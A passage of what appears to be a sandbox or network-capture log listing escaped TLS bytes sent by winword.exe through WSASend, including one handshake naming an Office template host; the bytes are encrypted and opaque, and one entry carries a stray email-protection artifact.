  591. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc7ncsq\\xafyr\\xab\\xb4y\\xc1\\xb9\\x96ifp\\x0b\\xa7\\x17b\\x0b<\\xc6,\\x15\\xcf\\x0f\\x8e\\xb1\\xcf\\xc2p\"\\x04\\xbf(\\xb7\\x9dy\\x97\\xa9\\xb7\\x9cf\\x06\\xa8\\x116\\xd6\\xcf\\xf9p\\x10\\x8f.\\x06l\\xcf4\\x80\\x82\\x8e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x88\\x84\\xd1\\xc7\\xf3e\\xbdj\\xd9|y\\xb8\\x12\\x868\\x8d\\x1e\\xc5\\xb5\\xc8\\x99\\xde\\x9b\\x05j\\xf4r\\xd1\\x15\\xb2\\xa2\\x95x\\x05\\xdc\\x8e\\xb8\\xd1$\\x89e\\x91=\\xbcw\\xa6w\\xec"
  592.  
  593.  
  594. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x95\\xa6\\xcb\\xdd\\x9du7\\xbf7\\xce\\x80\\x1for\\x87\\xe6\\xc1:+\\x1a\\xbe,\\xda\\xa9c \\xd8\\xbf\t\\xcew\\x0c\\xa5\\x9e\\xe2\\xcf%\"\\x96t\\xd7>\\x8c\\x1fj\\x8c\\xbb\\x04h\t\\x974\\xd6c\\x0c\\xc3\\x8f-\\xa1r\\xf7\\x1f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000s`\\xe8p\\x94+bz-\\x10t\\xa3\\x9e\\x8fw6v\\x80\\xaaddq\\xd0\\xd6\\x1e\\xe7\\xf8u o(g\\xed\\x1b\\xed>\\xfc\\xfdo,f\\xb1\r5`)\\xa7"
  595.  
  596.  
  597. "http_request": "winword.exe_WSASend_\\xc4\\x00v\\x00\\xf8\\xb5\\xd9\\x12\\x12\\xd5&=z\\x01+sx\\xb7ge\\xcd3\\x18\\xd3cz\\xe7\\xe7\\xdc(\\xf5t6\\x92\\x7f\\x018gk\\xa4\\x01 \\xe0)\\x00e\\xc5\\xf5\\xc6\\x97\\xb7cq\\x84\\xed\\x7ff\\xf7x\\x1ac\\x07$w i=\\xc1l\\xfc\\xc6!\\x94&\\x8f\\xc8\\xcd\\xc5=on3\\x11\\x02\\xff\\x17\\xa7>a\\xa68,)\\xf5\\xfc\\xa2\tt\\x0e\\xeb\\xe8\\x88\\x9f,u\\x18\\x8d\\xc4$\\xabm)\\x0f\\xf3\\xf4\\x04a\\xfc\\xd7\\xf9'\\xa9\\xc6\\xebs\\xf67\\x13\\xac\\xbf~\\x01>k%!\\xae\\x13k&8i\\xec\\x96\\xdcbf\\xa6\\xb8y.\\xed\\xe9i\\xa7\\xa9.jw\\xdf7f\\xf1\\xe3r\\x7fz\\xb3l(0\\x87iyu\\x06\\xd8mp\\xa0\\x00\\xf0\\xd2`fo#\\x1cma\\xefks\\x1b\\x0f\\x1a)\\xf9hc\\x97\\xeahq\\xb0\\xcc\\xce%j3\\x1e=\\x9b/i\t\\x15t\\xc3\\xf9\\xe9\\x1f\\xb9\\xf2\\x17\\xae\\xa5-\\xe9\\x8d\\xd2\\xc0\\xd3\\xdff\\x85\\xbcp.4\\xb1ax)\\xee\\x0bw9\\xdb\\x06\\xf2j"
  598.  
  599.  
  600. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010b\\xdd`\\xd7\\xc0\\x8a\\xea\\x95/%\\xc8\\xa1\\x10\\x8ce\\xc1\\xeb\\x0f\\x8cgm-j\\x97m\\xd9\\x87a'\\xc0\\xb4st\\xd3.\\xa1\\x19\\xa2-t\\x8d\\x94\\x8a\\xa7\\xd4dn\\xf1\\xb3n\\xf5\\xd8gn\\xd4e&_\\x8c\\x9e\\xac\\x8d\\x9b(4x\\xe3d\\x07\\xef\\x99\\x86\\xd4\\x93\\x825\\xa2\\xe9b\\xf6\\x8do\\x04\\xc5so\\xc9\\x88\\xbd\\x13\\x81\\xe6\\x91a\\x12=\\xd0\\xde\\x92\\xb0\\xa8\\x9b \\xc9\\x93\\xb3\\xcc\\xc8\\xcaw\\xd3\\xfb;y\\xf6>en\\xcek\\x96\\x8cv\\xde_n\\xf9\\xde\\xd6\\x96i\\x85a\\x9a\\x0bw\\x15\\xe3\\x85)n\\xac\\xaf\\x06\\xcb\\xe2k\\xa9\\xd05>z\\x86\\x1b\\xc4\\xe3ko\\xd9\\x02@\\x1c\\x88\\xd4+z\\x1b\\xe8\\xded\\x93\\xb3\\xf3\\xe2\\xba5\\xa5\\x1c\\xf0\\x08of\\x89\\xa2\\x90\\xca*\\xf6\\xec0\\x18b\\xff\\xee ,\\xffx\\xb8\\xe7k+\\xca\\x83\\xcempyie\\x14\\xa5v\\xc4\\x8f\\x8d\\xd9\\x02\\xc0\\x8e\\xb1\\x17f\\xa4\\x976oz\\x18\\x1b\\x17\\xdf\\xebq\\xa0\\xb9m_`g\\xe2/\\xe2\\xea\\xda"
  601.  
  602.  
  603. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010j\\x17r/\\xcc\\xfe\\xc9\\x1c\\xfdkt\\xcf\\xce\\x92m\\xab\\xe0\\xa8rc\\xa2;\\x98umkb\\x16\\xa8\\xad\\xb4\\xd5\\x1al\\xd4\\xce(\\xf9-f\toj#3%\\x1d\\x98c\\xa7\\x91\\xc5\\xf8\\xb2\\xa1\\x12\\x1e\\x8a\\xb9\\xd3ue?\\x9b\\x8c`\\xee\\xf1\\xbb\\xed\\xea\\xb7\\x8c\\x1f\\xf2\\x93\\xd6\\xb4\\xd6\\x1cx>\\xa0\"ek\\x8a\\xd9o\\x04i\\x1d\\xc4y\\xb4\\xe0\\xeat\\xb7\\xa4\\x8e\\x88s\\x1d\\xcf\\x8f\\xa6a)\\xf6\\x7f\\xe1\\xae\\x82\\x83\\xad\\xf1b\\xfb\\xf0\\x8e_\\x8e\\x0c\\x08g\\x9b\\xa6e\\xcc\\xcd\\x1a\\xa9-\r\t\\x9ao\\xb8\\x07h\\xf3l\\x88\\x12\\xe9|\\x0b7\\xe2\\x19#\\xd6\\xd4\\xcb\\xec\\x9f\\x91\\xf2\\x0c*i\\xb7\\x01\\xa7\\xefo\\xfa\\x05\\x0by\\xcb\\x01\\xa2\\x08:1\\x0c\\x81pa\\x8e\\x97\\x1a\\x9a\\x11e\\x97\\xf8\\x153\\xe7\\x9d0\\x0b\\x876\\x8a|\\x9c?(\\xdfgf\\xcb\\x8eyb\\xc2\\x9ck\\xe6:~\\xeao\\x04i \\x18k\\xc45\t`\\xa8\\x974\\xe4\\xa7\\x0e\\xf3\\x12\\xd3c\\xa7\\xd5\\x0fxf#d\\xa2\\xf9t"
  604.  
  605.  
  606. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe97\\x91m\t\\xa1\\x8aa\nj\\xec\\xda%\\x0b$j\\x00\\x1d\\xb9\\x9auw\\x0cd\\xafde\\x8e/\\xf7\\x99\\xfa\\x14\\x10\\x12\\x86\\x97\\xcc\\x9ata<\\x92&\\xf4\\xa4\\xb3\\x8d$\\x9e\\x1e\\x85s\\x8e@\\x14\\x83\\xa9lm\\xc1\\xb4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x91u\\xf0\\x05\\xce\\xe1\\x1e\\\\xdb\\x99h\\xf7p\\xd3\\x88\\xd0\\x10*\\xa5f\\x03\\xcf\\x95\\x93\\xe0\\xfai\\x83o:wt\\xed\\xd0\\x15\\x07%~\\xf5d\\xba?sv\\xf6\\\\x83"
  607.  
  608.  
  609. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04f\\xe0<\\x8es\\x91a\\xa8\\x16\\x948\\x03\\xbduml\\xc1^\\xdc\\xd00\\xa4\\xc8\\xf3k\\x84c\\xfb\\xbd?\\xbd\\x13a6\\x0c\\xdd\\xa3\\x11\\x1a\\xc3\\xa54v\\xef\\xa1\\xf5\\x9d\\x04d\\xfb\\xed\\xd32\\xe3\\xb0\\xdd\\xd5\\xf8\\xb9\\xba\\xcc\\xab\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x92:\\xae\\x1b(\\xb1\t\\x0e\\x88\\xcc\\xc0~\\xf3z\\xa1\\xb3\\xd0\\xdc\\xa9e\\xad*\n?\\xdc-\\xe4\\xe9\\x15\\x08\\x19\\x8e\\xd7\\xac\\x8d0\\x19<\\xca5\\xbf\\xd4\\xc2a\\x04tx"
  610.  
  611.  
  612. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010#\\x0f\\xf2\\x8a\\xd4\\x9b\\x81$\\xf6!\\x90bk\\xb1x\\x13\\xe2|\\xdao\\x96=\\x07\\xcawg+\\xb6f\\xc3%1\\x02\\x88\\xac\\xc9qu\\xed\\xac#'\\xf9\\xa3\\xce\\x0f~5\\x89\\xd7\\x1b\\xf5\\xfe~\\x0e\\\\xc2\\xa2\t\\xd7_\\x83\\xe8\\xdcq8\\x16\\xe5\\xab\t\\xb5\\x98w\\x7fn\\x1b\\xdb\\x1et\\xe6\\x16o\\x05\\x13c\\x83#\\xa7\\x80\\x8f\\xf2\\xd4n\\xae\\xbbp\\x8c\\xff\\xb8\\x89k\\x80\\xf2bob\\xd3\\xd9\\xf9(\\x87\\xf6\\x99\\xf7\\xa4\\x82\\xd4s\\xfbbz\\xe3\\x152\\xdb\\x03zz\\xb9\\xee\\x85qn\\xf5\\xbdz\\xed\\x13+p\"lrp\\x97\\x16\\xd7l\\xd2q\\xef:\\x0ftm\\x02j4\\x13g\\xfa\\xc1\\x1d\\xe8\\x11\\xb8\\x19y-\\xc1\\x8cnous\\x05\\x94n\\x07g\\xdf\\xac/p\\xac\\x86\\x92\\xe5\"\\xe6\\x9f\\xc0\\x9cq\\xaeh`map&|cy&\\xbfgv\\xfct\\xa1\\x96mf\\xc8\\x19\\xf6\\x98\\xcd\\x85\\x97\\xe9\\x80\\xccq\\xf4x\\xca\\xb0j\\xec\\xcbj2\\xab\\x0fq\\x08\\xcfr\\\\x1c\\xf4"
  613.  
  614.  
  615. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf6~\\xc9\\xb3\"\\x07\\x1894g\\xe2s.\\xaa\\xf0\\xa2\\xc5s\\x16\\x0b,\\xdd\\x138\\xb7\\x1f\\xe3\\x02v!\\xa9%\\pnqr\\xc0d\\x84\\x88x?m\\x03\\xd6bl\\x0e\\xdd\\x89\\x0e\\xc7\\xb8\\xa5,2\\xb4\\x1f\\x162\\xdc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xef\\x82\\x9f\\xdc\\xbed\\xe3\\xb2_t\\xa3=\\xaf\\xd3\r\\x18\\x03\\xd2\\x19f\\x8du\\x92(d\\xba\"-\\x8d\\x86\\xc6qv\\xa2\\x7f\\xf5\\x93+\\x81w\\x8b\\xb9\\xb0\\xf0r\\xa6\\xd7\\x89"
  616.  
  617.  
  618. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010x\\x01z\\x93n\\xd6\\xb6\\xdc\\xbb\\xcbf\\x01\\xefsmd\\x14l\\xaa\\x8f\\x1f!v\\xbfv\\xfc\\x142\\xf3eo(\\xcb\\x10r\\xd3\\xfe\\x00q7\\xa6\\xa4x\\x1a\\xa9\\xf0\\xa8\\xb2\\xca\\x1b~#\\x16\\x1e\\xdf:\\xad\\xee\\xf4\\xab\\xc8q0\\xff\na\\xabr\\x8e\\xf9\\xf0e\\x1a&$\\xbe*nhfy\\xf8\\x8et@\\xc7\\xff\\xf3u\\x01\\xa9*\\xa3:.k\\xb8i\\xc5\\x97\\xb9\\x84\\xf9\\xbb\\xab0\\xfb\\x9d\\x1cc\\xe2/i\\xc2\\xfa\\xc0_t\\x87\\xa2\\x163\\x8f\\xa9\\xee\\xcd\\x01\\xe3^\\xaa/p\\x7f\\x9ed\\x86l\\x9b\\xef*x\\xbd\\xf0\\x16\\xcb\\xa9\\xf5`\\xe1\\xaba\\xed\\x91\\xfd7\\xc3\\x92\\x0fr\\xef^\\x9fd\\xd8q&\\xc8\\xd8|w\\xb8k\\xc6\\xc0mh\\xb6\\xf5d\\x8b\\xf9\\x04|a\\xf5t|\\xc4eq\\x86!\\xf0\\xa5z\\x92\\x9aj\\xb0v1\\xac\\xbed\\x9f\\xfc\\x86\\x93\\x00\\x16e\\xdb\\xdef>nx\\x9d\\xd9wb(\\xf6\\xf2\\x14\\xf88\\xa4h\\xfc\\x07n\\x19\\x19-\\xcea!\\xdcq\\x9a\\x15\\xd7\\x94$\\xd9\n\\x8cji"
  619.  
  620.  
  621. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010xu\\x04\\x9e\\xc1k\\xe6*d\\xfe#f\\xe0\\xce\\x8c\\xe7\\xdb\\xf5\\xa0\\xad\\x85#\\x1e\\xda\\xd1\\x00\\xfe\\x1c9\\xc3x\\xa4\\x80,\\xa3\\x105f\\x1d\\xc0w\\xdb\\x1e\\xc2t;\\x19_t\\xc5\\xc0\\x86\\xd7\\xe14\\xd0\\xe9\\xfc\\x05\\xd1g0dn2\\x9fo\\x84\\xa6w\\xcf\\xb2\\x9e#\\xb4\\xcc\\x0f\\xa4fp\\xd8w_\\xbctv\\x18\\xfb\\x11\\xc2\\xd8\\x91\\xfc\\xbf,^e\\xca(\\xf5\\xb5\\xb8\\xc4,\\x94\\x1b_\\xe2b\\xb7.\\xa2\\xca\\xe28\\xc7\\x99n\\xf5\\xe6\\x10\\x13\\x1a\\x04qs\\xf8\\xec\\x99\\xb8,\\x17\\x1d\\xab\\xb7\\xf2\\xde\\x8f\\xd0n\\xc9\\xc2\\xbd\\x03\\xe9\\xaf\\xe1\\xc3\\xcb\\x88\\xfc1\\xe4\\xd4\\x1a\\x94\\x1bn\\xa2\\x0f\\x04y\\xff\\xb2\\xd6\\xae=\\xb6\\x94x\\xb5z/\\x13\\x18s/$\\x18\\x969f\\xb1\\x03fa\",m\\xa5\\x86\\xfe\\x1a\\xd4\\xf8\\xb0\\x80\\xcfl\\xdb\n\\x0b'u\\xed\\xbdlm\\x03\\xbf\\xab\\x83\\x03\\xf9\\xb0\\xaa\\xa9\\x87\\xeb\\x8e\\xa5\\x98\\xb2\\x85w\\x1e\\xb2\\xd7q\\xb6. \\xc6i\\xa8\\xa1~\\xda@lo\\xf6\\x97t\\xb9$;\\x0f"
  622.  
  623.  
  624. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe5\\xcb\\x10ni\\x13\\xb0\\xe2\\xb8\\xdb>qzu\\xd7a\\x15\\x98\\x84|\\xe6\\xa7\\x86\\x89u\\x9dmhh\\xbe\\x10cs\\xe5\\x95\\x06\\xfb\\xbcl\\xcc\\x06)\\xaf\\x9f\\x11*kbem\\xb6\\xb3\\xda\\x81\\xb2\\x8c\\xc5r\\xc7#\\xa2\\x93\\xbb\\xdb\\xeb\\xe2\\xcaf\\xd9\\x1a\\x9fz\\x97\\xc9\\xea\\xdc\\x9c\\xea\\x8c\\x8f\\x84\\xc0\\x9c\\xa0\\x07\\xb5`\\xa5\\xe9\\xa7\\xa7;\\xd8\rfk\\xe7\\x97\\xe1\\xc3\r\\xfd\\x11\\xe3/ix\\xcfji\\x01)\\xee\\x1b\\x97\\x8fc\\xda\\xa5nm7\\xa5#\\xd6\\xa0\\x8d(\\xd3\\xfa\\xf9\"\\xdb\\x83\\x13\\xb1\\\\xf8\\xd5:\\xe0\\xee\\xd9\\x00\\xb6\\xc7\\xe8\\xea\\x16q\\x11n.\\xd5:\\xe2\\xdb\\x91\\xban\\xf1(\\x92\\x8e\\xcd\\x95$\\xe1\\xe3<\\x9f\\x1d\\xfd\\xfc\\xb1\\x8b\\x0bt\\xfc:l\\xa1\\xc2\\xaa\\xa4\\xd2\\xc7\\xf6\\xd4*\\x19&\\xecj\\xe3ae%a?\\xc5\\xf2\\x1d\\x1c\\x8c3\\x19\\xa7\\xfe\\xe1@\\xc8\\x88\\xf55h\\xbf\\x9d\\xd7f\\xf8\\xbf@\\xd1\\xf2\\x1b\\xca\\xeac\\xcaw\\xcb\\xeb\\xa3\\xb3qx\\xc8\\xda^\\xdb\\xa2w\\x8a5\\xc2\\x96\\xdf"
  625.  
  626.  
  627. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x95\\x92m\\xb6\\xfc\\xc6q\\xf3\\x0b\\x1a/9\\xa1\\xec\\xe9x\\x89i\\xf4\\xeas\\xf0\\xec2\\xd6\\xaeq\t\\[email protected]\\xda\\xd9\\xe8\\x8c\\x04\\xf5\\xde\\xc6p\\xd5\\xba\\x11\\x7f\\x99\\x93\\xcb\\x8dlh\\xfa;\\xc4\\x88\\x03mc5t\\x93\\xfc\\xdde;\\x8d%\\x07!<\\x98\\xf4u\\xdb\\xc6,\\xb8ku\\xb5n$\\x8en\\x90`\\xaa\\x05u\\xf8wq\\x96\\xcc)\\xaf\\xf9\\x1c\\xda\\xda\\x9e\\x0c\t\\x9c\\xa3\\xd9\\xfd\\xd3s1qa\\x899\\xa5\\x88(8\\xa5\\x91\\xdd<\\x89+\\x86\\xbci\\x8c+\\x83\\x87\\xe2\\xf0\\xb2\\xb0\\xbf\\xe2\";\\xfe\\xa7q\\x86e\\x0b7\\xd0\\xafq\\xc1j\\xeb\\x93\\x14\\x88~\\xf81u\\x898x\\xea\\xb8\\xd84\\xd6\\xa1x5\\xa1\\x9e\\xd9\\x98\\xbc0w\\xc7y\\x82l+h\\x19\\xe7\\xd4\\xf7k\\x9a\\xed\\xd0\\xc8\\x89\\x10^\\xd4\\x9c\\xbe\\xd6l\\xf3f\\x06\\x9c\\x00\\xcb\\xc3::\\x80\\xfc\\xac3ki\\x9f\\xba\\xa2u\\x9b\\x84|k\\xee\\xec4h\\xc7\\xd56\\xba-\\xfb\\xfaw\\x9a\\x90\\x873\\xf5g\\x89\\xffb\\xd5\";\\x1a"
  628.  
  629.  
  630. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe3)\\x00\\x83\\x05\\xa9\\xeac\\xed\\xa4\\xb2\\xa0\\x84\\x9f\\xb6.\\x8d0\\xcb\\xb02*'\r>d:dj3\\xa9;\\x11d\\xf3\\x95\\xda\\xfc\\xc0'\\xe3\\xb2\\xfe\\x8a\\x96\\xed'w\\xb2\\x8d\\xc2\\xb2\\xd0\\xa9\\x87sg\\xcbx\\x13\\xa5\\x92\\xc5\\x9c\\xc4\\xc2\\x95\\xe1\\xa7\\x18\\xea\\xa4\\x0e\\xedb\\xcf\\xf0\\xef\\x9a\\xe8\\xef\\x8d\\x9c\\xb8\\xd2+\\xb4\\x17\\xd2\\xa0\"\\xe7\\xeb\\xcb*\\x96\\x00\\xc2\\x9d\\xec\\xc0\\xcc\\xdcm\\x81\\x8c\\xe8\\xf8p\\xe13\\xa6\\x88\\x9d\\xc5\\xc5e9\\xa7tyux1\\xf8\\x0e$\\x18\\x84v_s\\xc6\\x961\\x90\\x80\\xde\\x9c\\xf7\\x92\\x16\\xcc\\xdf\\xb25\\x81\\x13\\xca\\xc2 \\xa9c\\xa6\\xdd$\\xa7\\xeao\\xd3\\xf9\\xe4t9k\\xce\\x182\\xe2\\x90p\\xe8\\x81\\x84 o\\xad\\x0c\\xe5\\xb9\\xa0h\\xb1~\\x10\\x9dm$\\xf4#\\xb2`\\xe8\\xb8\\x1e\\x8d\\x7f\\xdf_\\x9f\\x12z\\x0eg\\x92\\xdd4kq\\xe2\\x91s\\xdf\\xba\\xcc\\xf9\"\\xdb\\x9f\\xea\\xeb\\xb0-\\xb6\\x92f\\xc9z\\xe4(\\x8a&\\xfe\\xf4\\xaa\\xde\\xaa\\xdf<\\xd5|\\x1a\\x13\\x99,\\xf4"
  631.  
  632.  
  633. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x90m.2\\xa6y\\xfa\\xb2r\\xbd\\xe8\\x9d\\xf1\\xa8\\xb1\\x0emg\\x0cu\\xf0\\xba$\\x82\\x82\\xf8\\xa2\\xdd$\\x1e\\xb0h$oz\\xf3 \\x8b\\xba$4\\x15\\xed_\\xdc\\x18f\\x15;\\x1b.\\x82t\"!w\\xf8\\xcc*\\xa4s\\x17\\x81\\x87\\xaa4%\\x81\r\\x9fq\\xd2eqb&\\x1d\\x01\\xfbs\\xe3\\xb8\\x9c\\xb3\\x9fs\\x1f\\x95\\xefr\\xbe'\"h\\xa7xz\\x12k?\\x0ch1\\xad\\x07\\xc2\\xe8t\\xa1\\xd1\\x15?\\x1e\\x801\\x9f\\x05\\xe5*\\xfe\\x8f9\\x01`\\x11\\x7f\\xa4\\x1dr\\xba\\x19\\x0e\\xe0\\x9f\\xa8d\\x19\\xca\\xb7b\\xa7\\xae!\\xec\\xc8t\\xb7\\xa6\\xe3\\xab\\xc13n\\x8fg7\r'\\xf8o\\xfc'l\\x8c\\x02\\x8a\\xe2\\xbc)$\\xcbe\\x18:f\\xbaxl\\x16\\xfab\\xc8\\xabi\\x98e\\xdbygh\\x83\\xcf\\xb5?\\x85`\\xd6\\xa2\\x1b\\x8dygw@\\xfbc\\x19a\\x97\\xbd\\xc3r\\xc7m\\xa8\\xb1\\xc6yqs\\xd3\\xc2\\x1ew\\xe4\\xf6\\xde\\xa0\\xc4\\xc2\\xa1<\\xe5\\xde\\xf9x\\x13|\\xff\\xd5\\xde\\xaa\\x18!17\\xfc"
  634.  
  635.  
  636. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd2\\xbc\\x9e\\x8d'\\xbd\\xbf<\"\\x82\\x0ea\\xe5\\x17\\x9f\\xaa\\xf0\\xea\\xc9\\xfb\\xdb\\xa8\\x90\\xdc\\xd6\"\\xc7q\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  637.  
  638.  
  639. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010i\\x94rq\\xd6\\xf8\\xaf\\xbcv\\xb3\\x03?\\xd4ia\\x88c=,\\xc4\\x9d\\x03g?>\\xf8h;\\x8b`\\x99\\xb8\\x9e\\xe7\\x8a\\xaf\\x1f\\xdfe\\xb7e\\x1b\\xa2\\xa3\\xab-,\\x97\\x96\r\\xc6&j\\xeb\\xa5\\xb3\\x7f\\xadcw\\x9drb\\xdc;\\xd9\\xb1\\xbbl\\xc7\\xa0\\xc2y\\xe1\\x0e\\xcf.g\\xd5\\x0e\\xa7`\\xd1\\xcf\\xb0\\xb4\\xa7\\x1b\\xbf\\x07\\x1d\\xa1\\xb2\\xc7\\xb2\\x1a\\x896\\xbehds\\x19\\xf3a9\\xc2r%1o\\xb7k\\xcd\\x82v\\xa9\\x02\\xe1g\\xe1\\x9d\\xb9\\x80\\xa6\\xa8\\xad\\x05\\x1f\\xd4_\\x0c\\xc3\\xd7\\xacq\"u\\x9e\\x88\\x0ff\\xa8s\n\\xa8\\xd0\\xe1,\\x8d\\x131*s\\xd9\\xc0\\xdf_\\xce\\xd6#\\xae\\x05\\xdb\\xb7n\\xaa\\x8a\\x84\t\\x16u,\\xb4\\xdbekp\\x0e,\\xabkj\\x93\\x96\\x82\\x07\\xfc\\xdehh\\xbb\\xce\\xfa\\x11/\\x08\\xf7\\xb1\\xc4\\x15/\\x9a\\xf6hd4j\\xb2t\\xc2\\x1a\\xac\\xd7\\xa9:\\xaf+;&\\x8e\\xe0\\x9ek)?\\xb4\\(y)%\\xec\\xf4\\xb3n?\\x98\\x82\\xa6z\\x9c\\x01k\\xed\\xf2|"
  640.  
  641.  
  642. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb0\\x04\\x94\\x90ua,z\\x16\\xb5\\x04$1\\xde\\xcc\\x9e\\xc2\\xd8'b4*zb\\x0c2\\xb6\\x92j\\x08c7lw\\xb0\\xa4?i\\xe2\\x05txfp\\xeb\\xfa\\xb5\\xa7$\\xaczh\\xd1\\x86\\xcb1\\xaf\\x17\\x8d\\x877m\\x906\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd3\\xb9u\\x8f\\x80\\x0f\\x91\\xf0\\xa2.c\\xd1s\\xe3\\xd9\\x90\\xed\\x11q\\x8f\\x81\\xba8\\xd3\\x1db\\xbah\\xeei\\x82\\xac.mjs^\\xa8\\xc93\\x97\\xde\\xcb\\x8f\\xa0f\\xb8\\xac"
  643.  
  644.  
  645. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd9\\xa3\\xectc\\xe2\\x97i\\xfc\\x89\\x12\\xf4>\\xc6h\\x10\\x91\\x8d\\x14\\xc5\\x85\\x1b\\xf2\\xc5\\xads\\xe8\\x17\\xb7\\xd3\\xd8gv\\x18\\xa2\\xd02\\xd5.u\\x9cy\\x8c7\\x8dd\\xa2ns\\xc0<\\x89\\x03\\x93\\xef\\xa0\\xa6\\x9f\\xbbj\\xfb\\x84-o.x\\x90bq\\xe0h\\x90/g\\x10k\\xe7\\x8c\\x05\\x1e5\\x8e\\xfb\\xd9'z\\xd4\\x81*\\x18\\xf9d\\x1ao\\xc7p\\xf8\\x94\\xf1\\x11\\xa4\\xb5\\xd0\\xbd\\x18\\xa2\\x1et\\x8d\\xbe\\xe8\\xdc\\x086=nx\\x08\\xae\\x99\\xba`8n\\xd2k\\xb2\\xe5t.\\xe2\\xdf\\xe1a\\x05\\xf3\\xad\\xd2\\x83\\x08\\xb7\\xf6p\\x06\\xd9d*/\\x84\\xb8v\\xa0\\x8e\\x9f\\xa1y\\xa4\\xfd\\xbfss\\xb1\\x10\\x14\\x11:\\x81\\x13\\xca\\xcb\\xddz\\xb7\\x13\\xa0\\x8a8\\xbew\\x8e\\x0e\\xa1\\xb3%\\x01v\r\\xad\\xb3\\x0f\\x95m$\\x1fu\\xfa\\xab=\\xac\\xc3\\xf5zgh\\xc4\\xc9\\xe4\\xa0.\\xf8b\\x98\\x90y\\xb2\\x1a\\xbdu;\\x19b^\\x85\\xceym\\xf9_\\x8a\\x0b\\x18\\xec\\x99sm\\xcfb\\xf1\\x98\\x13v8l\\xeea\\x8e"
  646.  
  647.  
  648. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdd\\xf0!fv\\x0f\\xa2y\\xdb\\xa0e\\xb1\\x94\\x0bc\\xc6w_\\x910\\xc5\\x14)b\\x03\\x08\\xbb\\xd3\\x84\\xf9\\xbc\\xccl\\xc6\\x1e\\x8f\\xday\\xd1'\\x9d\\xd6\\xd0\\xd34(rn\\x90\\xda\\xebjr$\\xec\\x8f\\xbc\\x8fg\\x10z\\xd0`\\x87\\xbd\\xd5\\xf2\\xe1\\xfe0q\\x8b\\xd0$\\x115\\xccb\\xd2\\xefk\\xb9\\xb5\\xa3\\x11(i\\xe4\n^\\x0cxt\\xa4\\x0f\"v\\xfc\\x01^\\xdc\\x11a\\xcfeb\\x07%^\\x92\\xe5r\\xcc\\xad\\xa2e\\x85\\x87\\xb8\\x17\\xc5,.\\xe5\\xfd\\x8a@\\x94\\xb9\\xe1\\xda\\xca\\xe8\\x8c\\xa0\\xdd\\x85)&9\\x7f\\xb2\"|g||\\x97\\xff\\x04\\x0e\\x81\\x91\\x04\\x8b\\xabb\\xb0\\xa8\\xb4\\xa5\\xc9\\x1b\\xe5\\x07\\x97p\\xe0\\xd8\\xaf\\xac\\x0cd\\xc7e\\xa8\\xc7y\\xda1\\x9d\\x80\\xda\\x9dh\\x0ec\\x0f\\x15\\x9a&\\xd0\\x1bm\\x8f\\xca\\x8b\\x98\\x86cn\\xd3\\x84(\\xa9\\xc1\\xa6_\\\\xff\\x11\\x0f\\xa0\\x7fq\\xc4st\\xbbf\\x83c\\xa1\\xb7\\x1b\\xe6,!\\x93\\x07\\xe1\\x01\\x8c\\x11\\xact+l\\x80\\xfc\\x0f\\xed"
  649.  
  650.  
  651. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010_\\xa8@\\xc4\\xc8\\xe5^t\\x80%\\x11\\x03\\xd5s\\x9d*m\\xc5\\x9fog\\x88\\x06\\xbe\\xfd\\xf7\\xfc*\\xcfl\\xbf\\xb6g\\xc1_\\xc6\\xc0\\xec\\x97\\xa0\\xf9d\\x1ee\\x95\\xf3#\to\\xa3\\xe2s\\xac\\x1d\\xbf\\xcau\\x7fii\\xb2a\\xc5\\xcd1\\xb8p\\xfcio\\x0c,m\\x993\\x94:g@\\xdbgb(\n-\\x1e\\xc0=\\xcek)\\xa0*y\\x08\\x81\\\\xb5z 